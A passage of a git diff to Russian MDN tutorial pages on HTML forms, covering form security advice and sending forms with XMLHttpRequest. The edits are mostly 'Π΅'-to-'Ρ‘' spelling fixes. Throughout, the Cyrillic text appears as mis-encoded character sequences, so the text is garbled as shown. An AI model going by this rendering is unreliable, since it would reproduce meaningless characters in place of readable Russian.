+<p>Π­Ρ‚ΠΈ Π²ΠΈΠ΄Ρ‹ Π°Ρ‚Π°ΠΊ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ создаёт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈΒ HTTP ΠΈΠ»ΠΈ элСктронныС ΠΏΠΎΡ‡Ρ‚ΠΎΠ²Ρ‹Π΅ адрСса Π½Π° основании Π΄Π°Π½Π½Ρ‹Ρ…, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π² Ρ„ΠΎΡ€ΠΌΡƒ. Π’Π°ΠΊΠΈΠ΅ Π°Ρ‚Π°ΠΊΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ Π½Π΅ ΠΏΠΎΠ²Ρ€Π΅ΠΆΠ΄Π°ΡŽΡ‚ сСрвСр ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΎΠ΄Π½Π°ΠΊΠΎ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ для Ρ‚Π°ΠΊΠΈΡ… ΡƒΠ³Ρ€ΠΎΠ·, ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ сСссии, ΠΈΠ»ΠΈ для Ρ„ΠΈΡˆΠΈΠ½Π³ΠΎΠ²Ρ‹Ρ… Π°Ρ‚Π°ΠΊ.</p>
<p>Π’Π°ΠΊΠΈΠ΅ Π°Ρ‚Π°ΠΊΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ самыми Π½Π΅Π·Π°ΠΌΠ΅Ρ‚Π½Ρ‹ΠΌΠΈ, Π½ΠΎ ΠΏΡ€ΠΈ этом ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ваш сСрвСр Π² <a href="http://en.wikipedia.org/wiki/Zombie_(computer_science)" rel="exernal">Π·ΠΎΠΌΠ±ΠΈ</a>.</p>
@@ -314,7 +314,7 @@ if __name__ == "__main__":
<li>ΠŸΠΎΠΌΠ΅Ρ‰Π°ΠΉΡ‚Π΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π² пСсочницу (Ρ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈΡ… Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ сСрвСрС ΠΈ прСдоставляйтС доступ ΠΊ Ρ„Π°Π»Π°ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Π΅Ρ€Π΅Π· ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Ρ‡Π΅Ρ€Π΅Π· ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя).</li>
</ul>
-<p>Боблюдая эти Ρ‚Ρ€ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°, Π²Ρ‹ смоТСтС ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΈΡ…/Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ. ΠŸΡ€ΠΈ этом слСдуСт ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ пСриодичСски Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ Π°Π½Π°Π»ΠΈΠ· защищСнности, ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠ²Π°Π»ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ стороннСй ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ. НС считайтС, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠΆΠ΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π»ΠΈΡΡŒ со всСми Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌΠΈ ΡƒΠ³Ρ€ΠΎΠ·Π°ΠΌΠΈ.</p>
+<p>Боблюдая эти Ρ‚Ρ€ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°, Π²Ρ‹ смоТСтС ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΈΡ…/Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ. ΠŸΡ€ΠΈ этом слСдуСт ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ пСриодичСски Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ Π°Π½Π°Π»ΠΈΠ· защищённости, ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠ²Π°Π»ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ стороннСй ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ. НС считайтС, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠΆΠ΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π»ΠΈΡΡŒ со всСми Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌΠΈ ΡƒΠ³Ρ€ΠΎΠ·Π°ΠΌΠΈ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-сайта</a> нашСго Ρ€Π°Π·Π΄Π΅Π»Π°Β <a href="/en-US/docs/Learn/Server-side">сСрвСрного</a> обучСния ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΎ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ обсуТдСниС упомянутых ΡƒΠ³Ρ€ΠΎΠ· ΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… способов ΠΈΡ… устранСния.</p>
@@ -341,7 +341,7 @@ if __name__ == "__main__":
<ul>
<li><a href="/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Π’Π°ΡˆΠ° пСрвая HTML-Ρ„ΠΎΡ€ΠΌΠ°</a></li>
<li><a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">Как ΡΡ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ HTML-Ρ„ΠΎΡ€ΠΌΡƒ</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">ΠŸΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">ΠŸΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹</a></li>
<li><a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹</a></li>
<li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Валидация Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹</a></li>
<li><a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">Как ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ кастомныС Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹</a></li>
diff --git a/files/ru/learn/forms/sending_forms_through_javascript/index.html b/files/ru/learn/forms/sending_forms_through_javascript/index.html
index 6a949fd237..b9c76e7ef7 100644
--- a/files/ru/learn/forms/sending_forms_through_javascript/index.html
+++ b/files/ru/learn/forms/sending_forms_through_javascript/index.html
@@ -14,18 +14,18 @@ original_slug: Learn/HTML/Forms/Sending_forms_through_JavaScript
<h3 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_контроля_Π½Π°Π΄_Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΌ_интСрфСйсом">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ контроля Π½Π°Π΄ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΌ интСрфСйсом</h3>
-<p>ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° стандартной HTML Ρ„ΠΎΡ€ΠΌΡ‹, ΠΊΠ°ΠΊ ΠΎΠΏΠΈΡΡ‹Π²Π°Π»ΠΎΡΡŒ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅, Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ URL-адрСс, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π±Ρ‹Π»ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π΄Π°Π½Π½Ρ‹Π΅, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° пСрСмСщаСтся с ΠΏΠΎΠ»Π½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ страницы. Если ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ страницы, ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠ»Π°Π²Π½ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π·Π° счСт прСдотвращСния Π·Π°Π΄Π΅Ρ€ΠΆΠ΅ΠΊ Π² сСти ΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, мСрцания).</p>
+<p>ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° стандартной HTML Ρ„ΠΎΡ€ΠΌΡ‹, ΠΊΠ°ΠΊ ΠΎΠΏΠΈΡΡ‹Π²Π°Π»ΠΎΡΡŒ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅, Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ URL-адрСс, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π±Ρ‹Π»ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π΄Π°Π½Π½Ρ‹Π΅, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° пСрСмСщаСтся с ΠΏΠΎΠ»Π½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ страницы. Если ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ страницы, ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠ»Π°Π²Π½ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π·Π° счёт прСдотвращСния Π·Π°Π΄Π΅Ρ€ΠΆΠ΅ΠΊ Π² сСти ΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, мСрцания).</p>
-<p>ΠœΠ½ΠΎΠ³ΠΈΠ΅Β ΡΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ интСрфСйсы ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ HTML Ρ„ΠΎΡ€ΠΌΡ‹Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для сбора ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°, Π° Π½Π΅ для для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ пытаСтся ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ свои Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±Π΅Ρ€Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ ΠΈ асинхронно ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅, обновляя Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Ρƒ Ρ‡Π°ΡΡ‚ΡŒ всСго интСрфСйса ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ трСбуСтся ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅.</p>
+<p>ΠœΠ½ΠΎΠ³ΠΈΠ΅Β ΡΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ интСрфСйсы ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ HTML Ρ„ΠΎΡ€ΠΌΡ‹Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для сбора ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°, Π° Π½Π΅ для для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ пытаСтся ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ свои Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±Π΅Ρ€Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ ΠΈ асинхронно ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅, обновляя Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Ρƒ Ρ‡Π°ΡΡ‚ΡŒ всСго интСрфСйса ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ трСбуСтся ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅.</p>
<p>Асинхронная ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ называСтся <a href="/en-US/docs/AJAX">AJAX</a>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚Β <strong>"Asynchronous JavaScript And XML" </strong>(Асинхронный JavaScript ΠΈΒ XML).</p>
<h3 id="Π§Π΅ΠΌ_ΠΎΠ½_отличаСтся">Π§Π΅ΠΌ ΠΎΠ½ отличаСтся?</h3>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("XMLHttpRequest")}} (XHR) DOM ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ HTTP-запросы, ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΈΡ…, ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΡ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΈ, {{domxref("XMLHttpRequest")}} Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ для получСния ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈΒ <a href="/en-US/docs/XML">XML</a> Π² качСствС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° ΠΎΠ±ΠΌΠ΅Π½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ Π±Ρ‹Π» Π·Π°ΠΌΠ΅Π½Π΅Π½ Π½Π°Β <a href="/en-US/docs/JSON">JSON</a>. Но Π½ΠΈΒ XML, Π½ΠΈ JSON Π½Π΅ Π²ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ запроса Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹.Β Π”Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ (<code>application/x-www-form-urlencoded</code>) состоят ΠΈΠ· списка ΠΏΠ°Ρ€ ΠΊΠ»ΡŽΡ‡/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ΅ URL. Для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, HTTP-запрос прСобразуСтся Π²Β <code>multipart/form-data</code>.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("XMLHttpRequest")}} (XHR) DOM ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ HTTP-запросы, ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΈΡ…, ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΡ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΈ, {{domxref("XMLHttpRequest")}} Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ для получСния ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈΒ <a href="/en-US/docs/XML">XML</a> Π² качСствС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° ΠΎΠ±ΠΌΠ΅Π½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ Π±Ρ‹Π» Π·Π°ΠΌΠ΅Π½Ρ‘Π½ Π½Π°Β <a href="/en-US/docs/JSON">JSON</a>. Но Π½ΠΈΒ XML, Π½ΠΈ JSON Π½Π΅ Π²ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ запроса Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹.Β Π”Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ (<code>application/x-www-form-urlencoded</code>) состоят ΠΈΠ· списка ΠΏΠ°Ρ€ ΠΊΠ»ΡŽΡ‡/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ΅ URL. Для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, HTTP-запрос прСобразуСтся Π²Β <code>multipart/form-data</code>.</p>
<div class="blockIndicator note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: БСйчас <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ вмСсто XHR β€” это соврСмСнная, обновлСнная вСрсия XHR, которая Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² ΠΏΠΎΡ…ΠΎΠΆΠ΅ΠΌ стилС, Π½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ нСсколько прСимущСств. Π‘ΠΎΠ»ΡŒΡˆΠ°Ρ Ρ‡Π°ΡΡ‚ΡŒ XHR-ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π½Π°Β Fetch.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: БСйчас <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ вмСсто XHR β€” это соврСмСнная, обновлённая вСрсия XHR, которая Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² ΠΏΠΎΡ…ΠΎΠΆΠ΅ΠΌ стилС, Π½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ нСсколько прСимущСств. Π‘ΠΎΠ»ΡŒΡˆΠ°Ρ Ρ‡Π°ΡΡ‚ΡŒ XHR-ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π½Π°Β Fetch.</p>
</div>
<p>Если Π²Ρ‹ управляСтС Ρ„Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄ΠΎΠΌΒ (ΠΊΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅) ΠΈ бэкСндом (ΠΊΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСтся Π½Π° сторонС сСрвСра), Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΒ JSON/XML ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΡ… ΠΊΠ°ΠΊ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅.</p>
@@ -48,7 +48,7 @@ original_slug: Learn/HTML/Forms/Sending_forms_through_JavaScript
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_XMLHttpRequest_Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅Β  XMLHttpRequest Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ</h3>
-<p>{{domxref("XMLHttpRequest")}} это самый бСзопасный ΠΈ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ способ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ HTTP-запросы. Для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{domxref("XMLHttpRequest")}}, ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΡŒΡ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ URL-кодирования, ΠΈ ΡΠΎΠ±Π»ΡŽΠ΄Π°ΠΉΡ‚Π΅ спСцифику запросов Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹.</p>
+<p>{{domxref("XMLHttpRequest")}} это самый бСзопасный ΠΈ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ способ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ HTTP-запросы. Для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{domxref("XMLHttpRequest")}}, ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΡŒΡ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ URL-кодирования, ΠΈ ΡΠΎΠ±Π»ΡŽΠ΄Π°ΠΉΡ‚Π΅ спСцифику запросов Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹.</p>
<p>ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
diff --git a/files/ru/learn/forms/styling_web_forms/index.html b/files/ru/learn/forms/styling_web_forms/index.html
index f818654906..8dcaf1c08d 100644
--- a/files/ru/learn/forms/styling_web_forms/index.html
+++ b/files/ru/learn/forms/styling_web_forms/index.html
